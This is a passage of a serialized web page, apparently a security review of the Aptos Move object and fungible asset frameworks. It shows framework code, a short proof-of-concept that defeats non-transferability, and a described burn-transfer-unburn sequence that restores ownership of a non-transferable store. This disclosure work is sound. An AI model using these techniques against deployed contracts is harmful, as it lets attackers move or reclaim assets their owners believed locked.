exists\u003CObjectCore>(current_address),\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n let object = borrow_global\u003CObjectCore>(current_address);\n current_address = object.owner;\n };\n}\n",[63539],{"type":23,"tag":94,"props":63540,"children":63541},{"__ignoreMap":7},[63542,63603,63619,63649,63678,63693,63705,63735,63756,63763,63803,63828,63835],{"type":23,"tag":314,"props":63543,"children":63544},{"class":316,"line":317},[63545,63549,63554,63558,63562,63566,63570,63574,63579,63583,63587,63591,63595,63599],{"type":23,"tag":314,"props":63546,"children":63547},{"style":360},[63548],{"type":28,"value":6363},{"type":23,"tag":314,"props":63550,"children":63551},{"style":332},[63552],{"type":28,"value":63553}," verify_ungated_and_descendant",{"type":23,"tag":314,"props":63555,"children":63556},{"style":338},[63557],{"type":28,"value":341},{"type":23,"tag":314,"props":63559,"children":63560},{"style":360},[63561],{"type":28,"value":14851},{"type":23,"tag":314,"props":63563,"children":63564},{"style":354},[63565],{"type":28,"value":3746},{"type":23,"tag":314,"props":63567,"children":63568},{"style":360},[63569],{"type":28,"value":5505},{"type":23,"tag":314,"props":63571,"children":63572},{"style":338},[63573],{"type":28,"value":778},{"type":23,"tag":314,"props":63575,"children":63576},{"style":360},[63577],{"type":28,"value":63578},"destination",{"type":23,"tag":314,"props":63580,"children":63581},{"style":354},[63582],{"type":28,"value":3746},{"type":23,"tag":314,"props":63584,"children":63585},{"style":360},[63586],{"type":28,"value":5505},{"type":23,"tag":314,"props":63588,"children":63589},{"style":338},[63590],{"type":28,"value":2343},{"type":23,"tag":314,"props":63592,"children":63593},{"style":360},[63594],{"type":28,"value":5599},{"type":23,"tag":314,"props":63596,"children":63597},{"style":2674},[63598],{"type":28,"value":63226},{"type":23,"tag":314,"props":63600,"children":63601},{"style":338},[63602],{"type":28,"value":1449},{"type":23,"tag":314,"props":63604,"children":63605},{"class":316,"line":370},[63606,63611,63615],{"type":23,"tag":314,"props":63607,"children":63608},{"style":338},[63609],{"type":28,"value":63610}," [",{"type":23,"tag":314,"props":63612,"children":63613},{"style":354},[63614],{"type":28,"value":8840},{"type":23,"tag":314,"props":63616,"children":63617},{"style":338},[63618],{"type":28,"value":11020},{"type":23,"tag":314,"props":63620,"children":63621},{"class":316,"line":380},[63622,63627,63631,63635,63640,63645],{"type":23,"tag":314,"props":63623,"children":63624},{"style":2284},[63625],{"type":28,"value":63626}," while",{"type":23,"tag":314,"props":63628,"children":63629},{"style":338},[63630],{"type":28,"value":2324},{"type":23,"tag":314,"props":63632,"children":63633},{"style":360},[63634],{"type":28,"value":14851},{"type":23,"tag":314,"props":63636,"children":63637},{"style":354},[63638],{"type":28,"value":63639}," !=",{"type":23,"tag":314,"props":63641,"children":63642},{"style":360},[63643],{"type":28,"value":63644}," current_address",{"type":23,"tag":314,"props":63646,"children":63647},{"style":338},[63648],{"type":28,"value":367},{"type":23,"tag":314,"props":63650,"children":63651},{"class":316,"line":1091},[63652,63657,63661,63666,63670,63674],{"type":23,"tag":314,"props":63653,"children":63654},{"style":360},[63655],{"type":28,"value":63656}," count",{"type":23,"tag":314,"props":63658,"children":63659},{"style":354},[63660],{"type":28,"value":1237},{"type":23,"tag":314,"props":63662,"children":63663},{"style":360},[63664],{"type":28,"value":63665}," count",{"type":23,"tag":314,"props":63667,"children":63668},{"style":354},[63669],{"type":28,"value":1572},{"type":23,"tag":314,"props":63671,"children":63672},{"style":1054},[63673],{"type":28,"value":3778},{"type":23,"tag":314,"props":63675,"children":63676},{"style":338},[63677],{"type":28,"value":2278},{"type":23,"tag":314,"props":63679,"children":63680},{"class":316,"line":1141},[63681,63685,63689],{"type":23,"tag":314,"props":63682,"children":63683},{"style":338},[63684],{"type":28,"value":63610},{"type":23,"tag":314,"props":63686,"children":63687},{"style":354},[63688],{"type":28,"value":8840},{"type":23,"tag":314,"props":63690,"children":63691},{"style":338},[63692],{"type":28,"value":11020},{"type":23,"tag":314,"props":63694,"children":63695},{"class":316,"line":1173},[63696,63701],{"type":23,"tag":314,"props":63697,"children":63698},{"style":332},[63699],{"type":28,"value":63700}," assert!",{"type":23,"tag":314,"props":63702,"children":63703},{"style":338},[63704],{"type":28,"value":2719},{"type":23,"tag":314,"props":63706,"children":63707},{"class":316,"line":1208},[63708,63713,63717,63722,63726,63731],{"type":23,"tag":314,"props":63709,"children":63710},{"style":360},[63711],{"type":28,"value":63712}," exists",{"type":23,"tag":314,"props":63714,"children":63715},{"style":338},[63716],{"type":28,"value":5060},{"type":23,"tag":314,"props":63718,"children":63719},{"style":2674},[63720],{"type":28,"value":63721},"ObjectCore",{"type":23,"tag":314,"props":63723,"children":63724},{"style":338},[63725],{"type":28,"value":6866},{"type":23,"tag":314,"props":63727,"children":63728},{"style":360},[63729],{"type":28,"value":63730},"current_address",{"type":23,"tag":314,"props":63732,"children":63733},{"style":338},[63734],{"type":28,"value":5992},{"type":23,"tag":314,"props":63736,"children":63737},{"class":316,"line":1216},[63738,63743,63747,63751],{"type":23,"tag":314,"props":63739,"children":63740},{"style":338},[63741],{"type":28,"value":63742}," error",{"type":23,"tag":314,"props":63744,"children":63745},{"style":354},[63746],{"type":28,"value":2737},{"type":23,"tag":314,"props":63748,"children":63749},{"style":332},[63750],{"type":28,"value":63071},{"type":23,"tag":314,"props":63752,"children":63753},{"style":338},[63754],{"type":28,"value":63755},"(ENOT_OBJECT_OWNER),\n",{"type":23,"tag":314,"props":63757,"children":63758},{"class":316,"line":1301},[63759],{"type":23,"tag":314,"props":63760,"children":63761},{"style":338},[63762],{"type":28,"value":6998},{"type":23,"tag":314,"props":63764,"children":63765},{"class":316,"line":1343},[63766,63770,63774,63778,63783,63787,63791,63795,63799],{"type":23,"tag":314,"props":63767,"children":63768},{"style":321},[63769],{"type":28,"value":2319},{"type":23,"tag":314,"props":63771,"children":63772},{"style":360},[63773],{"type":28,"value":61746},{"type":23,"tag":314,"props":63775,"children":63776},{"style":354},[63777],{"type":28,"value":1237},{"type":23,"tag":314,"props":63779,"children":63780},{"style":360},[63781],{"type":28,"value":63782}," borrow_global",{"type":23,"tag":314,"props":63784,"children":63785},{"style":338},[63786],{"type":28,"value":5060},{"type":23,"tag":314,"props":63788,"children":63789},{"style":2674},[63790],{"type":28,"value":63721},{"type":23,"tag":314,"props":63792,"children":63793},{"style":338},[63794],{"type":28,"value":6866},{"type":23,"tag":314,"props":63796,"children":63797},{"style":360},[63798],{"type":28,"value":63730},{"type":23,"tag":314,"props":63800,"children":63801},{"style":338},[63802],{"type":28,"value":1025},{"type":23,"tag":314,"props":63804,"children":63805},{"class":316,"line":1351},[63806,63811,63815,63819,63823],{"type":23,"tag":314,"props":63807,"children":63808},{"style":360},[63809],{"type":28,"value":63810}," current_address",{"type":23,"tag":314,"props":63812,"children":63813},{"style":354},[63814],{"type":28,"value":1237},{"type":23,"tag":314,"props":63816,"children":63817},{"style":360},[63818],{"type":28,"value":61746},{"type":23,"tag":314,"props":63820,"children":63821},{"style":354},[63822],{"type":28,"value":282},{"type":23,"tag":314,"props":63824,"children":63825},{"style":338},[63826],{"type":28,"value":63827},"owner;\n",{"type":23,"tag":314,"props":63829,"children":63830},{"class":316,"line":1387},[63831],{"type":23,"tag":314,"props":63832,"children":63833},{"style":338},[63834],{"type":28,"value":38244},{"type":23,"tag":314,"props":63836,"children":63837},{"class":316,"line":1422},[63838],{"type":23,"tag":314,"props":63839,"children":63840},{"style":338},[63841],{"type":28,"value":386},{"type":23,"tag":24,"props":63843,"children":63844},{},[63845,63847,63852],{"type":28,"value":63846},"This could allow for bypassing assumptions about ",{"type":23,"tag":94,"props":63848,"children":63850},{"className":63849},[],[63851],{"type":28,"value":61328},{"type":28,"value":63853}," true ownership and its non-transferability.",{"type":23,"tag":304,"props":63855,"children":63857},{"className":2234,"code":63856,"language":2233,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n let constructor_ref = object::create_object(signer::address_of(caller));\n let object_addr = object::address_from_constructor_ref(&constructor_ref);\n let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n object::transfer_raw(caller, object_addr, receipient);\n //receipient can interact with store by using their signer\n}\n",[63858],{"type":23,"tag":94,"props":63859,"children":63860},{"__ignoreMap":7},[63861,63919,63972,64016,64064,64071,64116,64124],{"type":23,"tag":314,"props":63862,"children":63863},{"class":316,"line":317},[63864,63868,63872,63877,63881,63886,63890,63894,63898,63902,63907,63911,63915],{"type":23,"tag":314,"props":63865,"children":63866},{"style":360},[63867],{"type":28,"value":60927},{"type":23,"tag":314,"props":63869,"children":63870},{"style":360},[63871],{"type":28,"value":5462},{"type":23,"tag":314,"props":63873,"children":63874},{"style":332},[63875],{"type":28,"value":63876}," untransferable_transfer",{"type":23,"tag":314,"props":63878,"children":63879},{"style":338},[63880],{"type":28,"value":341},{"type":23,"tag":314,"props":63882,"children":63883},{"style":360},[63884],{"type":28,"value":63885},"caller",{"type":23,"tag":314,"props":63887,"children":63888},{"style":354},[63889],{"type":28,"value":3746},{"type":23,"tag":314,"props":63891,"children":63892},{"style":354},[63893],{"type":28,"value":1968},{"type":23,"tag":314,"props":63895,"children":63896},{"style":360},[63897],{"type":28,"value":6401},{"type":23,"tag":314,"props":63899,"children":63900},{"style":338},[63901],{"type":28,"value":778},{"type":23,"tag":314,"props":63903,"children":63904},{"style":360},[63905],{"type":28,"value":63906},"receipient",{"type":23,"tag":314,"props":63908,"children":63909},{"style":354},[63910],{"type":28,"value":3746},{"type":23,"tag":314,"props":63912,"children":63913},{"style":360},[63914],{"type":28,"value":5505},{"type":23,"tag":314,"props":63916,"children":63917},{"style":338},[63918],{"type":28,"value":367},{"type":23,"tag":314,"props":63920,"children":63921},{"class":316,"line":370},[63922,63926,63931,63935,63939,63943,63948,63952,63956,63960,63964,63968],{"type":23,"tag":314,"props":63923,"children":63924},{"style":321},[63925],{"type":28,"value":2254},{"type":23,"tag":314,"props":63927,"children":63928},{"style":360},[63929],{"type":28,"value":63930}," constructor_ref",{"type":23,"tag":314,"props":63932,"children":63933},{"style":354},[63934],{"type":28,"value":1237},{"type":23,"tag":314,"props":63936,"children":63937},{"style":338},[63938],{"type":28,"value":61746},{"type":23,"tag":314,"props":63940,"children":63941},{"style":354},[63942],{"type":28,"value":2737},{"type":23,"tag":314,"props":63944,"children":63945},{"style":332},[63946],{"type":28,"value":63947},"create_object",{"type":23,"tag":314,"props":63949,"children":63950},{"style":338},[63951],{"type":28,"value":6455},{"type":23,"tag":314,"props":63953,"children":63954},{"style":354},[63955],{"type":28,"value":2737},{"type":23,"tag":314,"props":63957,"children":63958},{"style":332},[63959],{"type":28,"value":6464},{"type":23,"tag":314,"props":63961,"children":63962},{"style":338},[63963],{"type":28,"value":341},{"type":23,"tag":314,"props":63965,"children":63966},{"style":360},[63967],{"type":28,"value":63885},{"type":23,"tag":314,"props":63969,"children":63970},{"style":338},[63971],{"type":28,"value":6478},{"type":23,"tag":314,"props":63973,"children":63974},{"class":316,"line":380},[63975,63979,63983,63987,63991,63995,64000,64004,64008,64012],{"type":23,"tag":314,"props":63976,"children":63977},{"style":321},[63978],{"type":28,"value":2254},{"type":23,"tag":314,"props":63980,"children":63981},{"style":360},[63982],{"type":28,"value":63333},{"type":23,"tag":314,"props":63984,"children":63985},{"style":354},[63986],{"type":28,"value":1237},{"type":23,"tag":314,"props":63988,"children":63989},{"style":338},[63990],{"type":28,"value":61746},{"type":23,"tag":314,"props":63992,"children":63993},{"style":354},[63994],{"type":28,"value":2737},{"type":23,"tag":314,"props":63996,"children":63997},{"style":332},[63998],{"type":28,"value":63999},"address_from_constructor_ref",{"type":23,"tag":314,"props":64001,"children":64002},{"style":338},[64003],{"type":28,"value":341},{"type":23,"tag":314,"props":64005,"children":64006},{"style":354},[64007],{"type":28,"value":1833},{"type":23,"tag":314,"props":64009,"children":64010},{"style":360},[64011],{"type":28,"value":62180},{"type":23,"tag":314,"props":64013,"children":64014},{"style":338},[64015],{"type":28,"value":1025},{"type":23,"tag":314,"props":64017,"children":64018},{"class":316,"line":1091},[64019,64023,64027,64031,64036,64040,64044,64048,64052,64056,64060],{"type":23,"tag":314,"props":64020,"children":64021},{"style":321},[64022],{"type":28,"value":2254},{"type":23,"tag":314,"props":64024,"children":64025},{"style":360},[64026],{"type":28,"value":5085},{"type":23,"tag":314,"props":64028,"children":64029},{"style":354},[64030],{"type":28,"value":1237},{"type":23,"tag":314,"props":64032,"children":64033},{"style":338},[64034],{"type":28,"value":64035}," primary_fungible_store",{"type":23,"tag":314,"props":64037,"children":64038},{"style":354},[64039],{"type":28,"value":2737},{"type":23,"tag":314,"props":64041,"children":64042},{"style":332},[64043],{"type":28,"value":62072},{"type":23,"tag":314,"props":64045,"children":64046},{"style":338},[64047],{"type":28,"value":341},{"type":23,"tag":314,"props":64049,"children":64050},{"style":360},[64051],{"type":28,"value":63379},{"type":23,"tag":314,"props":64053,"children":64054},{"style":338},[64055],{"type":28,"value":778},{"type":23,"tag":314,"props":64057,"children":64058},{"style":332},[64059],{"type":28,"value":62028},{"type":23,"tag":314,"props":64061,"children":64062},{"style":338},[64063],{"type":28,"value":14667},{"type":23,"tag":314,"props":64065,"children":64066},{"class":316,"line":1141},[64067],{"type":23,"tag":314,"props":64068,"children":64069},{"emptyLinePlaceholder":18},[64070],{"type":28,"value":1088},{"type":23,"tag":314,"props":64072,"children":64073},{"class":316,"line":1173},[64074,64079,64083,64088,64092,64096,64100,64104,64108,64112],{"type":23,"tag":314,"props":64075,"children":64076},{"style":338},[64077],{"type":28,"value":64078}," object",{"type":23,"tag":314,"props":64080,"children":64081},{"style":354},[64082],{"type":28,"value":2737},{"type":23,"tag":314,"props":64084,"children":64085},{"style":332},[64086],{"type":28,"value":64087},"transfer_raw",{"type":23,"tag":314,"props":64089,"children":64090},{"style":338},[64091],{"type":28,"value":341},{"type":23,"tag":314,"props":64093,"children":64094},{"style":360},[64095],{"type":28,"value":63885},{"type":23,"tag":314,"props":64097,"children":64098},{"style":338},[64099],{"type":28,"value":778},{"type":23,"tag":314,"props":64101,"children":64102},{"style":360},[64103],{"type":28,"value":63379},{"type":23,"tag":314,"props":64105,"children":64106},{"style":338},[64107],{"type":28,"value":778},{"type":23,"tag":314,"props":64109,"children":64110},{"style":360},[64111],{"type":28,"value":63906},{"type":23,"tag":314,"props":64113,"children":64114},{"style":338},[64115],{"type":28,"value":1025},{"type":23,"tag":314,"props":64117,"children":64118},{"class":316,"line":1208},[64119],{"type":23,"tag":314,"props":64120,"children":64121},{"style":374},[64122],{"type":28,"value":64123}," //receipient can interact with store by using their signer\n",{"type":23,"tag":314,"props":64125,"children":64126},{"class":316,"line":1216},[64127],{"type":23,"tag":314,"props":64128,"children":64129},{"style":338},[64130],{"type":28,"value":386},{"type":23,"tag":24,"props":64132,"children":64133},{},[64134,64136,64143],{"type":28,"value":64135},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":23,"tag":31,"props":64137,"children":64140},{"href":64138,"rel":64139},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[35],[64141],{"type":28,"value":64142},"edge case",{"type":28,"value":64144}," involving the transfer of a non-transferable fungible store.",{"type":23,"tag":304,"props":64146,"children":64148},{"className":2234,"code":64147,"language":2233,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n let object = borrow_global_mut\u003CObjectCore>(ref.self);\n assert!(\n object.owner == ref.owner,\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n \n [...]\n \n object.owner = to;\n}\n",[64149],{"type":23,"tag":94,"props":64150,"children":64151},{"__ignoreMap":7},[64152,64217,64278,64325,64336,64371,64391,64398,64405,64420,64427,64455],{"type":23,"tag":314,"props":64153,"children":64154},{"class":316,"line":317},[64155,64159,64163,64168,64172,64176,64180,64185,64189,64193,64197,64201,64205,64209,64213],{"type":23,"tag":314,"props":64156,"children":64157},{"style":360},[64158],{"type":28,"value":60927},{"type":23,"tag":314,"props":64160,"children":64161},{"style":360},[64162],{"type":28,"value":5462},{"type":23,"tag":314,"props":64164,"children":64165},{"style":332},[64166],{"type":28,"value":64167}," transfer_with_ref",{"type":23,"tag":314,"props":64169,"children":64170},{"style":338},[64171],{"type":28,"value":341},{"type":23,"tag":314,"props":64173,"children":64174},{"style":321},[64175],{"type":28,"value":62589},{"type":23,"tag":314,"props":64177,"children":64178},{"style":354},[64179],{"type":28,"value":3746},{"type":23,"tag":314,"props":64181,"children":64182},{"style":2674},[64183],{"type":28,"value":64184}," LinearTransferRef",{"type":23,"tag":314,"props":64186,"children":64187},{"style":338},[64188],{"type":28,"value":778},{"type":23,"tag":314,"props":64190,"children":64191},{"style":360},[64192],{"type":28,"value":31975},{"type":23,"tag":314,"props":64194,"children":64195},{"style":354},[64196],{"type":28,"value":3746},{"type":23,"tag":314,"props":64198,"children":64199},{"style":360},[64200],{"type":28,"value":5505},{"type":23,"tag":314,"props":64202,"children":64203},{"style":338},[64204],{"type":28,"value":2343},{"type":23,"tag":314,"props":64206,"children":64207},{"style":360},[64208],{"type":28,"value":5599},{"type":23,"tag":314,"props":64210,"children":64211},{"style":2674},[64212],{"type":28,"value":63226},{"type":23,"tag":314,"props":64214,"children":64215},{"style":338},[64216],{"type":28,"value":1449},{"type":23,"tag":314,"props":64218,"children":64219},{"class":316,"line":370},[64220,64224,64228,64232,64236,64240,64245,64249,64253,64257,64261,64265,64269,64273],{"type":23,"tag":314,"props":64221,"children":64222},{"style":332},[64223],{"type":28,"value":61596},{"type":23,"tag":314,"props":64225,"children":64226},{"style":338},[64227],{"type":28,"value":341},{"type":23,"tag":314,"props":64229,"children":64230},{"style":354},[64231],{"type":28,"value":19859},{"type":23,"tag":314,"props":64233,"children":64234},{"style":360},[64235],{"type":28,"value":5960},{"type":23,"tag":314,"props":64237,"children":64238},{"style":338},[64239],{"type":28,"value":5060},{"type":23,"tag":314,"props":64241,"children":64242},{"style":2674},[64243],{"type":28,"value":64244},"Untransferable",{"type":23,"tag":314,"props":64246,"children":64247},{"style":338},[64248],{"type":28,"value":6866},{"type":23,"tag":314,"props":64250,"children":64251},{"style":321},[64252],{"type":28,"value":62589},{"type":23,"tag":314,"props":64254,"children":64255},{"style":354},[64256],{"type":28,"value":282},{"type":23,"tag":314,"props":64258,"children":64259},{"style":321},[64260],{"type":28,"value":12961},{"type":23,"tag":314,"props":64262,"children":64263},{"style":338},[64264],{"type":28,"value":62185},{"type":23,"tag":314,"props":64266,"children":64267},{"style":354},[64268],{"type":28,"value":2737},{"type":23,"tag":314,"props":64270,"children":64271},{"style":332},[64272],{"type":28,"value":63071},{"type":23,"tag":314,"props":64274,"children":64275},{"style":338},[64276],{"type":28,"value":64277},"(ENOT_MOVABLE));\n",{"type":23,"tag":314,"props":64279,"children":64280},{"class":316,"line":380},[64281,64285,64289,64293,64297,64301,64305,64309,64313,64317,64321],{"type":23,"tag":314,"props":64282,"children":64283},{"style":321},[64284],{"type":28,"value":2254},{"type":23,"tag":314,"props":64286,"children":64287},{"style":360},[64288],{"type":28,"value":61746},{"type":23,"tag":314,"props":64290,"children":64291},{"style":354},[64292],{"type":28,"value":1237},{"type":23,"tag":314,"props":64294,"children":64295},{"style":360},[64296],{"type":28,"value":6852},{"type":23,"tag":314,"props":64298,"children":64299},{"style":338},[64300],{"type":28,"value":5060},{"type":23,"tag":314,"props":64302,"children":64303},{"style":2674},[64304],{"type":28,"value":63721},{"type":23,"tag":314,"props":64306,"children":64307},{"style":338},[64308],{"type":28,"value":6866},{"type":23,"tag":314,"props":64310,"children":64311},{"style":321},[64312],{"type":28,"value":62589},{"type":23,"tag":314,"props":64314,"children":64315},{"style":354},[64316],{"type":28,"value":282},{"type":23,"tag":314,"props":64318,"children":64319},{"style":321},[64320],{"type":28,"value":12961},{"type":23,"tag":314,"props":64322,"children":64323},{"style":338},[64324],{"type":28,"value":1025},{"type":23,"tag":314,"props":64326,"children":64327},{"class":316,"line":1091},[64328,64332],{"type":23,"tag":314,"props":64329,"children":64330},{"style":332},[64331],{"type":28,"value":61596},{"type":23,"tag":314,"props":64333,"children":64334},{"style":338},[64335],{"type":28,"value":2719},{"type":23,"tag":314,"props":64337,"children":64338},{"class":316,"line":1141},[64339,64344,64348,64353,64357,64362,64366],{"type":23,"tag":314,"props":64340,"children":64341},{"style":360},[64342],{"type":28,"value":64343}," object",{"type":23,"tag":314,"props":64345,"children":64346},{"style":354},[64347],{"type":28,"value":282},{"type":23,"tag":314,"props":64349,"children":64350},{"style":338},[64351],{"type":28,"value":64352},"owner ",{"type":23,"tag":314,"props":64354,"children":64355},{"style":354},[64356],{"type":28,"value":7828},{"type":23,"tag":314,"props":64358,"children":64359},{"style":321},[64360],{"type":28,"value":64361}," ref",{"type":23,"tag":314,"props":64363,"children":64364},{"style":354},[64365],{"type":28,"value":282},{"type":23,"tag":314,"props":64367,"children":64368},{"style":338},[64369],{"type":28,"value":64370},"owner,\n",{"type":23,"tag":314,"props":64372,"children":64373},{"class":316,"line":1173},[64374,64379,64383,64387],{"type":23,"tag":314,"props":64375,"children":64376},{"style":338},[64377],{"type":28,"value":64378}," error",{"type":23,"tag":314,"props":64380,"children":64381},{"style":354},[64382],{"type":28,"value":2737},{"type":23,"tag":314,"props":64384,"children":64385},{"style":332},[64386],{"type":28,"value":63071},{"type":23,"tag":314,"props":64388,"children":64389},{"style":338},[64390],{"type":28,"value":63755},{"type":23,"tag":314,"props":64392,"children":64393},{"class":316,"line":1208},[64394],{"type":23,"tag":314,"props":64395,"children":64396},{"style":338},[64397],{"type":28,"value":42907},{"type":23,"tag":314,"props":64399,"children":64400},{"class":316,"line":1216},[64401],{"type":23,"tag":314,"props":64402,"children":64403},{"style":338},[64404],{"type":28,"value":61038},{"type":23,"tag":314,"props":64406,"children":64407},{"class":316,"line":1301},[64408,64412,64416],{"type":23,"tag":314,"props":64409,"children":64410},{"style":338},[64411],{"type":28,"value":61970},{"type":23,"tag":314,"props":64413,"children":64414},{"style":354},[64415],{"type":28,"value":8840},{"type":23,"tag":314,"props":64417,"children":64418},{"style":338},[64419],{"type":28,"value":11020},{"type":23,"tag":314,"props":64421,"children":64422},{"class":316,"line":1343},[64423],{"type":23,"tag":314,"props":64424,"children":64425},{"style":338},[64426],{"type":28,"value":61038},{"type":23,"tag":314,"props":64428,"children":64429},{"class":316,"line":1351},[64430,64434,64438,64442,64446,64451],{"type":23,"tag":314,"props":64431,"children":64432},{"style":360},[64433],{"type":28,"value":64078},{"type":23,"tag":314,"props":64435,"children":64436},{"style":354},[64437],{"type":28,"value":282},{"type":23,"tag":314,"props":64439,"children":64440},{"style":338},[64441],{"type":28,"value":64352},{"type":23,"tag":314,"props":64443,"children":64444},{"style":354},[64445],{"type":28,"value":1102},{"type":23,"tag":314,"props":64447,"children":64448},{"style":360},[64449],{"type":28,"value":64450}," to",{"type":23,"tag":314,"props":64452,"children":64453},{"style":338},[64454],{"type":28,"value":2278},{"type":23,"tag":314,"props":64456,"children":64457},{"class":316,"line":1387},[64458],{"type":23,"tag":314,"props":64459,"children":64460},{"style":338},[64461],{"type":28,"value":386},{"type":23,"tag":24,"props":64463,"children":64464},{},[64465,64467,64472,64474,64479],{"type":28,"value":64466},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":23,"tag":94,"props":64468,"children":64470},{"className":64469},[],[64471],{"type":28,"value":63124},{"type":28,"value":64473},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":23,"tag":94,"props":64475,"children":64477},{"className":64476},[],[64478],{"type":28,"value":6401},{"type":28,"value":64480}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":23,"tag":837,"props":64482,"children":64484},{"id":64483},"references",[64485],{"type":28,"value":64486},"References",{"type":23,"tag":24,"props":64488,"children":64489},{},[64490,64495,64497,64503,64505,64510,64512,64517],{"type":23,"tag":94,"props":64491,"children":64493},{"className":64492},[],[64494],{"type":28,"value":64486},{"type":28,"value":64496}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":23,"tag":94,"props":64498,"children":64500},{"className":64499},[],[64501],{"type":28,"value":64502},"Refs",{"type":28,"value":64504}," are based on the ",{"type":23,"tag":94,"props":64506,"children":64508},{"className":64507},[],[64509],{"type":28,"value":48101},{"type":28,"value":64511}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":23,"tag":94,"props":64513,"children":64515},{"className":64514},[],[64516],{"type":28,"value":48101},{"type":28,"value":64518}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":23,"tag":24,"props":64520,"children":64521},{},[64522,64524,64529,64531,64536,64537,64543,64545,64550,64552,64557],{"type":28,"value":64523},"Let's get back to the ",{"type":23,"tag":94,"props":64525,"children":64527},{"className":64526},[],[64528],{"type":28,"value":61328},{"type":28,"value":64530}," deletion example. Both ",{"type":23,"tag":94,"props":64532,"children":64534},{"className":64533},[],[64535],{"type":28,"value":62613},{"type":28,"value":557},{"type":23,"tag":94,"props":64538,"children":64540},{"className":64539},[],[64541],{"type":28,"value":64542},"fungible_asset::remove_store",{"type":28,"value":64544}," use the same object-specific ",{"type":23,"tag":94,"props":64546,"children":64548},{"className":64547},[],[64549],{"type":28,"value":62545},{"type":28,"value":64551}," permission. It can be created only during object creation. There is no separate ",{"type":23,"tag":94,"props":64553,"children":64555},{"className":64554},[],[64556],{"type":28,"value":62545},{"type":28,"value":64558}," for fungible assets.",{"type":23,"tag":304,"props":64560,"children":64561},{"className":2234,"code":62495,"language":2233,"meta":7,"style":7},[64562],{"type":23,"tag":94,"props":64563,"children":64564},{"__ignoreMap":7},[64565,64572,64611,64618,64625],{"type":23,"tag":314,"props":64566,"children":64567},{"class":316,"line":317},[64568],{"type":23,"tag":314,"props":64569,"children":64570},{"style":374},[64571],{"type":28,"value":62507},{"type":23,"tag":314,"props":64573,"children":64574},{"class":316,"line":370},[64575,64579,64583,64587,64591,64595,64599,64603,64607],{"type":23,"tag":314,"props":64576,"children":64577},{"style":360},[64578],{"type":28,"value":60927},{"type":23,"tag":314,"props":64580,"children":64581},{"style":360},[64582],{"type":28,"value":5462},{"type":23,"tag":314,"props":64584,"children":64585},{"style":332},[64586],{"type":28,"value":62523},{"type":23,"tag":314,"props":64588,"children":64589},{"style":338},[64590],{"type":28,"value":341},{"type":23,"tag":314,"props":64592,"children":64593},{"style":360},[64594],{"type":28,"value":62532},{"type":23,"tag":314,"props":64596,"children":64597},{"style":354},[64598],{"type":28,"value":3746},{"type":23,"tag":314,"props":64600,"children":64601},{"style":354},[64602],{"type":28,"value":1968},{"type":23,"tag":314,"props":64604,"children":64605},{"style":2674},[64606],{"type":28,"value":62545},{"type":23,"tag":314,"props":64608,"children":64609},{"style":338},[64610],{"type":28,"value":2414},{"type":23,"tag":314,"props":64612,"children":64613},{"class":316,"line":380},[64614],{"type":23,"tag":314,"props":64615,"children":64616},{"emptyLinePlaceholder":18},[64617],{"type":28,"value":1088},{"type":23,"tag":314,"props":64619,"children":64620},{"class":316,"line":1091},[64621],{"type":23,"tag":314,"props":64622,"children":64623},{"style":374},[64624],{"type":28,"value":62564},{"type":23,"tag":314,"props":64626,"children":64627},{"class":316,"line":1141},[64628,64632,64636,64640,64644,64648,64652,64656],{"type":23,"tag":314,"props":64629,"children":64630},{"style":360},[64631],{"type":28,"value":60927},{"type":23,"tag":314,"props":64633,"children":64634},{"style":360},[64635],{"type":28,"value":5462},{"type":23,"tag":314,"props":64637,"children":64638},{"style":332},[64639],{"type":28,"value":62580},{"type":23,"tag":314,"props":64641,"children":64642},{"style":338},[64643],{"type":28,"value":341},{"type":23,"tag":314,"props":64645,"children":64646},{"style":321},[64647],{"type":28,"value":62589},{"type":23,"tag":314,"props":64649,"children":64650},{"style":354},[64651],{"type":28,"value":3746},{"type":23,"tag":314,"props":64653,"children":64654},{"style":2674},[64655],{"type":28,"value":62598},{"type":23,"tag":314,"props":64657,"children":64658},{"style":338},[64659],{"type":28,"value":2414},{"type":23,"tag":24,"props":64661,"children":64662},{},[64663,64665,64670,64672,64678],{"type":28,"value":64664},"On the other hand, the \"frozen\" status of a ",{"type":23,"tag":94,"props":64666,"children":64668},{"className":64667},[],[64669],{"type":28,"value":61328},{"type":28,"value":64671}," is toggled using a ",{"type":23,"tag":94,"props":64673,"children":64675},{"className":64674},[],[64676],{"type":28,"value":64677},"TransferRef",{"type":28,"value":64679},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":23,"tag":304,"props":64681,"children":64683},{"className":2234,"code":64682,"language":2233,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n ref: &TransferRef,\n store: Object\u003CT>,\n frozen: bool,\n)\n",[64684],{"type":23,"tag":94,"props":64685,"children":64686},{"__ignoreMap":7},[64687,64723,64747,64774,64793],{"type":23,"tag":314,"props":64688,"children":64689},{"class":316,"line":317},[64690,64694,64698,64703,64707,64711,64715,64719],{"type":23,"tag":314,"props":64691,"children":64692},{"style":360},[64693],{"type":28,"value":60927},{"type":23,"tag":314,"props":64695,"children":64696},{"style":360},[64697],{"type":28,"value":5462},{"type":23,"tag":314,"props":64699,"children":64700},{"style":360},[64701],{"type":28,"value":64702}," 